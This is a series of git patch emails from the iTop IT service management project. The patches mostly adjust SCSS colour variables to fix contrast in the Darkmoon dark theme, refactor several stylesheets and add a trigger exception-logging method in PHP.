$oSearch->AllowAllData(); $oSet = new DBObjectSet($oSearch); $bRet = ($oSet->Count() > 0); - } - else - { + } else { $bRet = true; } return $bRet; } + + /** + * @param Exception $oException + * @param \DBObject $oObject + * + * @return void + * + * @uses \IssueLog::Error() + * + * @since 2.7.9 3.0.3 3.1.0 N°5893 + */ + public function LogException($oException, $oObject) + { + $sObjectKey = $oObject->GetKey(); // if object wasn't persisted yet, then we'll have a negative value + + $aContext = [ + 'exception.class' => get_class($oException), + 'exception.message' => $oException->getMessage(), + 'trigger.class' => get_class($this), + 'trigger.id' => $this->GetKey(), + 'trigger.friendlyname' => $this->GetRawName(), + 'object.class' => get_class($oObject), + 'object.id' => $sObjectKey, + 'object.friendlyname' => $oObject->GetRawName(), + 'current_user' => UserRights::GetUser(), + 'exception.stack' => $oException->getTraceAsString(), + ]; + + IssueLog::Error('A trigger did throw an exception', null, $aContext); + } } /** From bccdb1bc3ac4fa7b4cf75adadd19bb4455060c6a Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Thu, 2 Mar 2023 15:45:02 +0100 Subject: [PATCH 157/230] =?UTF-8?q?N=C2=B04460=20-=20Fix=20=20contra?= =?UTF-8?q?st=20in=20Darkmoon?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../scss/scss-variables.scss | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss index 690d3af8b..124808cc2 100644 --- a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss +++ b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss @@ -50,8 +50,8 @@ $text : $ibo-color-grey-100; $text-invert: $ibo-color-grey-800; $text-light : $ibo-color-grey-200; $text-strong: inherit; -$code: $ibo-color-primary-800; -$code-background: $ibo-color-grey-300; +$code: $ibo-color-primary-400; +$code-background: $ibo-color-grey-700; $pre-background: $ibo-color-grey-600; $ibo-scrollbar--scrollbar-track-background-color: $ibo-color-grey-700; @@ -192,6 +192,8 @@ $ibo-activity-panel--tab-toolbar--background-color: $ibo-activity-panel--tab-tog $ibo-caselog-entry-form--background-color: $ibo-activity-panel--tab-toolbar--background-color; $ibo-object-details--tag--separator--background-color: $ibo-color-grey-300; +$ibo-tab--temporary-remote-content--button--hover--color: $ibo-color-grey-200; + $ibo-activity-panel--tab-toolbar--text-color: $ibo-color-grey-800; $ibo-activity-panel--tab-toolbar-action--color: $ibo-color-grey-800; From 3021234895bbb4aadf2687a2ca7e153a1ce7abee Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Thu, 2 Mar 2023 15:45:36 +0100 Subject: [PATCH 158/230] =?UTF-8?q?N=C2=B04460=20-=20Allow=20to=20customiz?= =?UTF-8?q?e=20skeleton=20placeholders=20colors=20using=20CSS3=20variables?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- css/backoffice/utils/variables/colors/_all.scss | 3 ++- .../variables/colors/_skeleton-palette.scss | 17 +++++++++++++++++ images/placeholders/skeleton-dashboard.svg | 6 +++--- images/placeholders/skeleton-list.svg | 6 +++--- images/placeholders/skeleton-object.svg | 6 +++--- images/placeholders/skeleton.svg | 6 +++--- 6 files changed, 31 insertions(+), 13 deletions(-) create mode 100644 css/backoffice/utils/variables/colors/_skeleton-palette.scss diff --git a/css/backoffice/utils/variables/colors/_all.scss b/css/backoffice/utils/variables/colors/_all.scss index bc56d42e5..d2dab10ad 100644 --- a/css/backoffice/utils/variables/colors/_all.scss +++ b/css/backoffice/utils/variables/colors/_all.scss @@ -6,4 +6,5 @@ @import "base"; @import "base-palette"; @import "semantic-palette"; -@import "lifecycle-palette"; \ No newline at end of file +@import "lifecycle-palette"; +@import "skeleton-palette"; \ No newline at end of file diff --git a/css/backoffice/utils/variables/colors/_skeleton-palette.scss b/css/backoffice/utils/variables/colors/_skeleton-palette.scss new file mode 100644 index 000000000..9b73f95bf --- /dev/null +++ b/css/backoffice/utils/variables/colors/_skeleton-palette.scss @@ -0,0 +1,17 @@ +/* + * @copyright Copyright (C) 2010-2023 Combodo SARL + * @license http://opensource.org/licenses/AGPL-3.0 + */ + +/* Skeleton palette */ +/* - Colors used by skeletons svg to display placeholders */ + +$ibo-skeleton-start-color: $ibo-color-grey-200 !default; +$ibo-skeleton-stop-color: $ibo-color-blue-grey-100 !default; + +/* CSS variables */ +/* Skeleton CSS3 variables are not ibo prefixed as they are not iTop backoffice exclusives*/ +:root { + --skeleton-start-color: #{$ibo-skeleton-start-color}; + --skeleton-stop-color: #{$ibo-skeleton-stop-color}; +} \ No newline at end of file diff --git a/images/placeholders/skeleton-dashboard.svg b/images/placeholders/skeleton-dashboard.svg index d36062b96..3a6bca4df 100644 --- a/images/placeholders/skeleton-dashboard.svg +++ b/images/placeholders/skeleton-dashboard.svg @@ -38,7 +38,7 @@ Date: Thu, 2 Mar 2023 15:50:35 +0100 Subject: [PATCH 159/230] =?UTF-8?q?N=C2=B04460=20-=20Fix=20skeletons=20pla?= =?UTF-8?q?ceholders=20contrast=20issue=20in=20Darkmoon?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../scss/scss-variables.scss | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss index 124808cc2..569ddc6b2 100644 --- a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss +++ b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss @@ -192,7 +192,12 @@ $ibo-activity-panel--tab-toolbar--background-color: $ibo-activity-panel--tab-tog $ibo-caselog-entry-form--background-color: $ibo-activity-panel--tab-toolbar--background-color; $ibo-object-details--tag--separator--background-color: $ibo-color-grey-300; +$ibo-skeleton-start-color: $ibo-color-grey-500; +$ibo-skeleton-stop-color: $ibo-color-grey-400; + +$ibo-tab--temporary-remote-content--button--color: $ibo-color-grey-200; $ibo-tab--temporary-remote-content--button--hover--color: $ibo-color-grey-200; +$ibo-tab--temporary-remote-content--button--hover--background-color: $ibo-color-grey-800; $ibo-activity-panel--tab-toolbar--text-color: $ibo-color-grey-800; $ibo-activity-panel--tab-toolbar-action--color: $ibo-color-grey-800; From 05753f174a22c31a30e61b720b082d3ebf0934f4 Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Thu, 2 Mar 2023 15:54:19 +0100 Subject: [PATCH 160/230] =?UTF-8?q?N=C2=B04460=20-=20Fix=20"load=20more=20?= =?UTF-8?q?entries"=20activity=20panel=20buttons=20contrast=20in=20Darkmoo?= =?UTF-8?q?n?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../combodo-backoffice-darkmoon-theme/scss/scss-variables.scss | 1 + 1 file changed, 1 insertion(+) diff --git a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss index 569ddc6b2..3cd893e79 100644 --- a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss +++ b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss @@ -189,6 +189,7 @@ $ibo-tab-container--extra-tab-toggler--background-color--on-hover: $ibo-color-gr $ibo-activity-panel--header--background-color: $ibo-color-grey-400; $ibo-activity-panel--tab-toggler--is-active--background-color: $ibo-color-grey-200; $ibo-activity-panel--tab-toolbar--background-color: $ibo-activity-panel--tab-toggler--is-active--background-color; +$ibo-activity-panel--load-entries-button--background-color: $ibo-color-grey-500; $ibo-caselog-entry-form--background-color: $ibo-activity-panel--tab-toolbar--background-color; $ibo-object-details--tag--separator--background-color: $ibo-color-grey-300; From a34d3f91be9b5c418b212d863a6faae57e88e577 Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Thu, 2 Mar 2023 16:04:39 +0100 Subject: [PATCH 161/230] Fix tabular fields selector SCSS variables --- .../_tabular-fields-selector.scss | 42 ++++++++++++------- 1 file changed, 28 insertions(+), 14 deletions(-) diff --git a/css/backoffice/application/tabular-fields/_tabular-fields-selector.scss b/css/backoffice/application/tabular-fields/_tabular-fields-selector.scss index d42242cb2..8215a0e89 100644 --- a/css/backoffice/application/tabular-fields/_tabular-fields-selector.scss +++ b/css/backoffice/application/tabular-fields/_tabular-fields-selector.scss @@ -1,46 +1,60 @@ /* - * @copyright Copyright (C) 2010-2021 Combodo SARL + * @copyright Copyright (C) 2010-2023 Combodo SARL * @license http://opensource.org/licenses/AGPL-3.0 */ +$ibo-table-preview--header-cell--padding: $ibo-spacing-200 $ibo-spacing-600 $ibo-spacing-200 $ibo-spacing-200 !default; +$ibo-table-preview--header-cell--background-color: $ibo-color-white-200 !default; +$ibo-table-preview--header-cell--border-width: 1px 1px 0 !default; + +$ibo-table-preview--body-cell--padding-x: $ibo-spacing-200 !default; +$ibo-table-preview--body-cell--border-width: 0 1px !default; +$ibo-table-preview--body-cell--last--border-bottom-width: 1px !default; + +$ibo-preview-header--margin-bottom: $ibo-spacing-200 !default; +$ibo-table-preview--remove-column--top: $ibo-spacing-300 !default; +$ibo-table-preview--remove-column--right: $ibo-spacing-300 !default; +$ibo-table-preview--remove-column--font-size: 8px !default; + +$ibo-form-part-interactive-fields--margin-top: $ibo-spacing-600 !default; + .ibo-table-preview { margin-top: 20px; overflow-x: auto; th { position: relative; - padding: 5px; - padding-right: $ibo-spacing-600; - border-width: 1px 1px 0; + padding: $ibo-table-preview--header-cell--padding; + border-width: $ibo-table-preview--header-cell--border-width; border-style: groove groove none; - background: $ibo-color-white-200; + background: $ibo-table-preview--header-cell--background-color; } td { - padding-right: 5px; - padding-left: 5px; - border-width: 0 1px; + padding-right: $ibo-table-preview--body-cell--padding-x; + padding-left: $ibo-table-preview--body-cell--padding-x; + border-width: $ibo-table-preview--body-cell--border-width; border-style: none groove; } tr:last-child td { - border-bottom-width: 1px; + border-bottom-width: $ibo-table-preview--body-cell--last--border-bottom-width; border-bottom-style: groove; } } .ibo-preview-header { - margin-bottom: 5px; + margin-bottom: $ibo-preview-header--margin-bottom; } .ibo-table-preview--remove-column { position: absolute; - top: $ibo-spacing-300; - right: $ibo-spacing-300; + top: $ibo-table-preview--remove-column--top; + right: $ibo-table-preview--remove-column--right; display: inline-block; cursor: pointer; - font-size: 8px; + font-size: $ibo-table-preview--remove-column--font-size; } #form_part_interactive_fields_xlsx, #form_part_interactive_fields_csv, #form_part_interactive_fields_pdf { - margin-top: $ibo-spacing-600; + margin-top: $ibo-form-part-interactive-fields--margin-top; } From 03bff9f2c285a1ee7d8f91651eac691e3118c9c6 Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Thu, 2 Mar 2023 16:04:59 +0100 Subject: [PATCH 162/230] =?UTF-8?q?N=C2=B04460=20-=20Fix=20export=20header?= =?UTF-8?q?=20contrast=20in=20Darkmoon?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../combodo-backoffice-darkmoon-theme/scss/scss-variables.scss | 2 ++ 1 file changed, 2 insertions(+) diff --git a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss index 3cd893e79..602e05ead 100644 --- a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss +++ b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss @@ -145,6 +145,8 @@ $ibo-vendors-datatables--row--background-color--is-even: $ibo-color-grey-800; $ibo-datatable--row--background-color--is-hover: $ibo-color-blue-900; $ibo-datatable--row--background-color--is-selected: $ibo-color-blue-700; +$ibo-table-preview--header-cell--background-color: $ibo-color-grey-500; + $ibo-field--value--color: $ibo-body-text-color; $ibo-title--text-color: $ibo-body-text-color; From 58497b380b979c62f20d4ce5198ff042ef0a0f56 Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Thu, 2 Mar 2023 16:17:46 +0100 Subject: [PATCH 163/230] Allow to overload datamodel viewer autocomplete style --- css/backoffice/pages/_datamodel-viewer.scss | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/css/backoffice/pages/_datamodel-viewer.scss b/css/backoffice/pages/_datamodel-viewer.scss index 1aec4cce7..fe6f85e7a 100644 --- a/css/backoffice/pages/_datamodel-viewer.scss +++ b/css/backoffice/pages/_datamodel-viewer.scss @@ -6,6 +6,10 @@ $ibo-datamodel-viewer--parent--spacer--padding-y: $ibo-spacing-0 !default; $ibo-datamodel-viewer--parent--spacer--padding-x: $ibo-spacing-300 !default; +$ibo-datamodel-viewer--classes-list--selectize-input--background-color: $ibo-color-white-100 !default; +$ibo-datamodel-viewer--classes-list--selectize-input--color: $ibo-color-grey-800 !default; +$ibo-datamodel-viewer--classes-list--selectize-input--border-color: $ibo-color-grey-500 !default; + $ibo-datamodel-viewer--attributes-table--first-column--width: 3px !default; $ibo-datamodel-viewer--origin-cell--diameter: 8px !default; @@ -45,6 +49,15 @@ $ibo-datamodel-viewer--lifecycle-image--margin-bottom: $ibo-spacing-500 !default padding: $ibo-datamodel-viewer--parent--spacer--padding-y $ibo-datamodel-viewer--parent--spacer--padding-x; } +// Overwrite selectize rules with !important +.ibo-datamodel-viewer--classes-list .selectize-input{ + background-color: $ibo-datamodel-viewer--classes-list--selectize-input--background-color !important; + background-image: none !important; + color: $ibo-datamodel-viewer--classes-list--selectize-input--color; + box-shadow: none !important; + border-color: $ibo-datamodel-viewer--classes-list--selectize-input--border-color !important; +} + #ibo-datamodel-viewer--attributes-table{ > tbody tr td:first-child{ width: $ibo-datamodel-viewer--attributes-table--first-column--width; From f91dfbcf23487b31a7ef26873b479ef5803e1a1b Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Thu, 2 Mar 2023 16:20:44 +0100 Subject: [PATCH 164/230] =?UTF-8?q?N=C2=B04460=20-=20Fix=20datamodel=20vie?= =?UTF-8?q?wer=20autocomplete=20contrast=20in=20Darkmoon?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../scss/scss-variables.scss | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss index 602e05ead..f33c39e3f 100644 --- a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss +++ b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss @@ -261,4 +261,12 @@ $ibo-vendors-c3--legend--background-color: $ibo-color-white-100; $ibo-vendors-c3--legend-item--fill: $ibo-color-grey-100; $ibo-vendors-c3--axis--fill: $ibo-color-grey-200; -$ibo-run-query--highlight--background-color: $ibo-color-primary-700; \ No newline at end of file +$ibo-run-query--highlight--background-color: $ibo-color-primary-700; + +$ibo-datamodel-viewer--classes-list--selectize-input--background-color: $ibo-color-grey-700; +$ibo-datamodel-viewer--classes-list--selectize-input--border-color: $ibo-color-grey-500; +$ibo-datamodel-viewer--classes-list--selectize-input--color: $ibo-color-grey-200; +$ibo-datamodel-viewer--lifecycle--code--color: $ibo-color-grey-300; +$ibo-datamodel-viewer--lifecycle--stimuli--color: $ibo-color-blue-300; +$ibo-datamodel-viewer--lifecycle--attribute-option--color: $ibo-color-pink-300; +$ibo-datamodel-viewer--schema--tooltip--fill: $ibo-color-grey-600; \ No newline at end of file From 4c117d1a3301113d8cc5dd08ff802c887d4e69b7 Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Thu, 2 Mar 2023 16:29:17 +0100 Subject: [PATCH 165/230] Fix hardcoded orange in backoffice style --- css/backoffice/components/_datatable.scss | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/css/backoffice/components/_datatable.scss b/css/backoffice/components/_datatable.scss index 63d5e3186..8f247b24d 100644 --- a/css/backoffice/components/_datatable.scss +++ b/css/backoffice/components/_datatable.scss @@ -20,7 +20,7 @@ $ibo-datatable--row--background-color--is-selected: $ibo-color-primary-300 !defa $ibo-datatable--selection-validation-buttons-toolbar--margin-top: 10px !default; $ibo-list-column--max-height: 150px !default; -$ibo-datatable--sort-order--color: $ibo-color-orange-600 !default; +$ibo-datatable--sort-order--color: $ibo-color-primary-600 !default; $ibo-fieldsorter--selected--background-color: $ibo-color-blue-200 !default; From 08f1e5a04140215d8311ad3e70313be59ddafd86 Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Thu, 2 Mar 2023 16:29:42 +0100 Subject: [PATCH 166/230] =?UTF-8?q?N=C2=B04460=20-=20Fix=20configure=20thi?= =?UTF-8?q?s=20list=20contrast=20in=20Darkmoon?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../combodo-backoffice-darkmoon-theme/scss/scss-variables.scss | 2 ++ 1 file changed, 2 insertions(+) diff --git a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss index f33c39e3f..555546384 100644 --- a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss +++ b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss @@ -145,6 +145,8 @@ $ibo-vendors-datatables--row--background-color--is-even: $ibo-color-grey-800; $ibo-datatable--row--background-color--is-hover: $ibo-color-blue-900; $ibo-datatable--row--background-color--is-selected: $ibo-color-blue-700; +$ibo-fieldsorter--selected--background-color: $ibo-color-blue-800; + $ibo-table-preview--header-cell--background-color: $ibo-color-grey-500; $ibo-field--value--color: $ibo-body-text-color; From 14cd60dd1757114b92f349cab39dbaaa3c05f17e Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Thu, 2 Mar 2023 16:35:26 +0100 Subject: [PATCH 167/230] Fix hardcoded white color in markup --- application/ui.searchformforeignkeys.class.inc.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/application/ui.searchformforeignkeys.class.inc.php b/application/ui.searchformforeignkeys.class.inc.php index 703781654..3a2f0ceca 100644 --- a/application/ui.searchformforeignkeys.class.inc.php +++ b/application/ui.searchformforeignkeys.class.inc.php @@ -60,7 +60,7 @@ class UISearchFormForeignKeys $oPage->add(<< -
+

{$sEmptyList}

From 75b350f638a1cc72d9fbfc451444e8915976a92c Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Fri, 3 Mar 2023 10:06:47 +0100 Subject: [PATCH 168/230] =?UTF-8?q?N=C2=B04460=20-=20Fix=20ace=20editor=20?= =?UTF-8?q?style=20in=20Darkmoon?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...odel.combodo-backoffice-darkmoon-theme.xml | 1 + .../scss/ace_editor.scss | 90 +++++++++++++++++++ 2 files changed, 91 insertions(+) create mode 100644 datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/ace_editor.scss diff --git a/datamodels/2.x/combodo-backoffice-darkmoon-theme/datamodel.combodo-backoffice-darkmoon-theme.xml b/datamodels/2.x/combodo-backoffice-darkmoon-theme/datamodel.combodo-backoffice-darkmoon-theme.xml index c1e105723..e7accad79 100644 --- a/datamodels/2.x/combodo-backoffice-darkmoon-theme/datamodel.combodo-backoffice-darkmoon-theme.xml +++ b/datamodels/2.x/combodo-backoffice-darkmoon-theme/datamodel.combodo-backoffice-darkmoon-theme.xml @@ -12,6 +12,7 @@ ../css/backoffice/main.scss combodo-backoffice-darkmoon-theme/scss/editor.scss + combodo-backoffice-darkmoon-theme/scss/ace_editor.scss combodo-backoffice-darkmoon-theme/precompiled-themes/main.css diff --git a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/ace_editor.scss b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/ace_editor.scss new file mode 100644 index 000000000..41c542db7 --- /dev/null +++ b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/ace_editor.scss @@ -0,0 +1,90 @@ +.ace-eclipse .ace_gutter { + background: unset !important; + border-right: unset !important; + color: $ibo-color-grey-400 !important; +} +.ace-eclipse .ace_print-margin { + width: 1px !important; + background: $ibo-color-grey-500 !important; +} +.ace-eclipse { + background-color: $ibo-color-grey-800 !important; + color: $ibo-color-grey-200 !important; +} +.ace-eclipse .ace_entity.ace_other.ace_attribute-name, +.ace-eclipse .ace_storage { + color: $ibo-color-grey-200 !important; +} +.ace-eclipse .ace_cursor { + color: $ibo-color-grey-200 !important; +} +.ace-eclipse .ace_string.ace_regexp { + color: $ibo-color-red-600 !important; +} +.ace-eclipse .ace_marker-layer .ace_active-line { + background: $ibo-color-grey-600 !important; +} +.ace-eclipse .ace_marker-layer .ace_selection { + background: $ibo-color-grey-600 !important; +} +.ace-eclipse.ace_multiselect .ace_selection.ace_start { + box-shadow: 0 0 3px 0px $ibo-color-grey-800 !important; +} +.ace-eclipse .ace_marker-layer .ace_step { + background: $nord13 !important; +} +.ace-eclipse .ace_marker-layer .ace_bracket { + margin: -1px 0 0 -1px !important; + border: 1px solid $ibo-color-primary-300 !important; +} +.ace-eclipse .ace_gutter-active-line { + background-color: $ibo-color-grey-600 !important; +} +.ace-eclipse .ace_marker-layer .ace_selected-word { + border: 1px solid $ibo-color-primary-300 !important; +} +.ace-eclipse .ace_invisible { + color: $ibo-color-grey-500 !important; +} +.ace-eclipse .ace_keyword, +.ace-eclipse .ace_meta, +.ace-eclipse .ace_support.ace_class, +.ace-eclipse .ace_support.ace_type { + color: $ibo-color-primary-500 !important; +} +.ace-eclipse .ace_constant.ace_character, +.ace-eclipse .ace_constant.ace_other { + color: $ibo-color-grey-200 !important; +} +.ace-eclipse .ace_constant.ace_language { + color: $ibo-color-primary-800 !important; +} +.ace-eclipse .ace_constant.ace_escape { + color: $nord13 !important; +} +.ace-eclipse .ace_constant.ace_numeric { + color: $nord15 !important; +} +.ace-eclipse .ace_fold { + background-color: $ibo-color-grey-500 !important; + border-color: $ibo-color-grey-200 !important; +} +.ace-eclipse .ace_entity.ace_name.ace_function, +.ace-eclipse .ace_entity.ace_name.ace_tag, +.ace-eclipse .ace_support.ace_function, +.ace-eclipse .ace_variable, +.ace-eclipse .ace_variable.ace_language { + color: #8fbcbb !important; +} +.ace-eclipse .ace_string { + color: $nord14 !important; +} +.ace-eclipse .ace_comment { + color: $nord7 !important; +} +.ace-eclipse .ace_indent-guide { + box-shadow: inset -1px 0 0 0 $ibo-color-grey-600 !important; +} +.ace-eclipse .ace_indent-guide-active { + box-shadow: inset -1px 0 0 0 $ibo-color-grey-400 !important; +} \ No newline at end of file From 94e81515190de466fba00b5c89ff6385e3287f8a Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Fri, 3 Mar 2023 10:24:52 +0100 Subject: [PATCH 169/230] =?UTF-8?q?N=C2=B04460=20-=20Fix=20popover=20menu?= =?UTF-8?q?=20icons=20and=20separators=20style=20in=20Darkmoon?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../combodo-backoffice-darkmoon-theme/scss/scss-variables.scss | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss index 555546384..b53444f6d 100644 --- a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss +++ b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss @@ -177,8 +177,9 @@ $ibo-input-select-selectize--item--active--text-color: $ibo-color-grey-100; $ibo-input-select-selectize--item--active--background-color: $ibo-color-grey-500; $ibo-vendors-selectize-input--color: $ibo-body-text-color; -$ibo-popover-menu--separator--background-color: $ibo-color-grey-500; +$ibo-popover-menu--item-separator--background-color: $ibo-color-grey-500; $ibo-popover-menu--item--text-color: $ibo-color-grey-200; +$ibo-popover-menu--item--icon--color: $ibo-color-grey-300; $ibo-popover-menu--background-color: $ibo-color-grey-700; $ibo-popover-menu--item--hover-background-color: $ibo-color-grey-500; From 6bed56b34ed4f75ec31ebafc51f2cb1dcd386cf4 Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Fri, 3 Mar 2023 10:43:17 +0100 Subject: [PATCH 170/230] Fix csv import SCSS file --- css/backoffice/pages/_csv-import.scss | 31 ++++++++++++++++----------- 1 file changed, 19 insertions(+), 12 deletions(-) diff --git a/css/backoffice/pages/_csv-import.scss b/css/backoffice/pages/_csv-import.scss index 55357e3f4..de7a079c6 100644 --- a/css/backoffice/pages/_csv-import.scss +++ b/css/backoffice/pages/_csv-import.scss @@ -3,7 +3,14 @@ * @license http://opensource.org/licenses/AGPL-3.0 */ -$ibo-csv-import--cell-message-padding:3px; +$ibo-csv-import--cell-message--padding-top: 3px !default; +$ibo-csv-import--cell-modified--color: $ibo-color-blue-700 !default; +$ibo-csv-import--cell-error--color: $ibo-color-red-700 !default; +$ibo-csv-import--row--border-color: $ibo-color-grey-400 !default; +$ibo-csv-import--row-error--background-color: $ibo-color-red-200 !default; +$ibo-csv-import--download-file--color: $ibo-color-primary-400 !default; +$ibo-csv-import--download-file--font-size: 4em !default; +$ibo-csv-import--download-file--margin: 20px !default; #tabs1-import .ibo-field--label { max-width: 50%; @@ -11,37 +18,37 @@ $ibo-csv-import--cell-message-padding:3px; div.ibo-csv-import--cell-modified { font-weight: bold; - color: $ibo-color-blue-700; + color: $ibo-csv-import--cell-modified--color; } div.ibo-csv-import--cell-error { font-weight: bold; - color: $ibo-color-red-700; + color: $ibo-csv-import--cell-error--color; } div.ibo-csv-import--cell-message { - padding-top: $ibo-csv-import--cell-message-padding; + padding-top: $ibo-csv-import--cell-message--padding-top; } tr.ibo-csv-import--row-unchanged td { - border-bottom: 1px $ibo-color-grey-400 solid; + border-bottom: 1px $ibo-csv-import--row--border-color solid; } .wizContainer table tr.ibo-csv-import--row-error td { - border-bottom: 1px $ibo-color-grey-400 solid; - background-color: $ibo-color-red-200; + border-bottom: 1px $ibo-csv-import--row--border-color solid; + background-color: $ibo-csv-import--row-error--background-color; } tr.ibo-csv-import--row-modified td { - border-bottom: 1px $ibo-color-grey-400 solid; + border-bottom: 1px $ibo-csv-import--row--border-color solid; } tr.ibo-csv-import--row-added td { - border-bottom: 1px $ibo-color-grey-400 solid; + border-bottom: 1px $ibo-csv-import--row--border-color solid; } .ibo-csv-import--download-file { - font-size: 4em; - color: $ibo-color-primary-400; - margin: 20px; + font-size: $ibo-csv-import--download-file--font-size; + color: $ibo-csv-import--download-file--color; + margin: $ibo-csv-import--download-file--margin; } \ No newline at end of file From 65940726170726ac096bb185d94ab359e76218dc Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Fri, 3 Mar 2023 10:43:39 +0100 Subject: [PATCH 171/230] =?UTF-8?q?N=C2=B04460=20-=20Fix=20import=20contra?= =?UTF-8?q?st=20in=20Darkmoon?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../scss/scss-variables.scss | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss index b53444f6d..684876b38 100644 --- a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss +++ b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss @@ -272,4 +272,8 @@ $ibo-datamodel-viewer--classes-list--selectize-input--color: $ibo-color-grey-200 $ibo-datamodel-viewer--lifecycle--code--color: $ibo-color-grey-300; $ibo-datamodel-viewer--lifecycle--stimuli--color: $ibo-color-blue-300; $ibo-datamodel-viewer--lifecycle--attribute-option--color: $ibo-color-pink-300; -$ibo-datamodel-viewer--schema--tooltip--fill: $ibo-color-grey-600; \ No newline at end of file +$ibo-datamodel-viewer--schema--tooltip--fill: $ibo-color-grey-600; + +$ibo-csv-import--row-error--background-color: $ibo-color-red-950; +$ibo-csv-import--cell-error--color: $ibo-color-red-500; +$ibo-csv-import--cell-modified--color: $ibo-color-blue-500; \ No newline at end of file From f117a2912b6770667ba89ddab103940673e88601 Mon Sep 17 00:00:00 2001 From: Stephen Abello Date: Fri, 3 Mar 2023 10:50:02 +0100 Subject: [PATCH 172/230] =?UTF-8?q?N=C2=B04460=20-=20Fix=20minor=20contras?= =?UTF-8?q?t=20issue=20in=20Darkmoon?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../combodo-backoffice-darkmoon-theme/scss/scss-variables.scss | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss index 684876b38..849d558fb 100644 --- a/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss +++ b/datamodels/2.x/combodo-backoffice-darkmoon-theme/scss/scss-variables.scss @@ -57,6 +57,7 @@ $pre-background: $ibo-color-grey-600; $ibo-scrollbar--scrollbar-track-background-color: $ibo-color-grey-700; 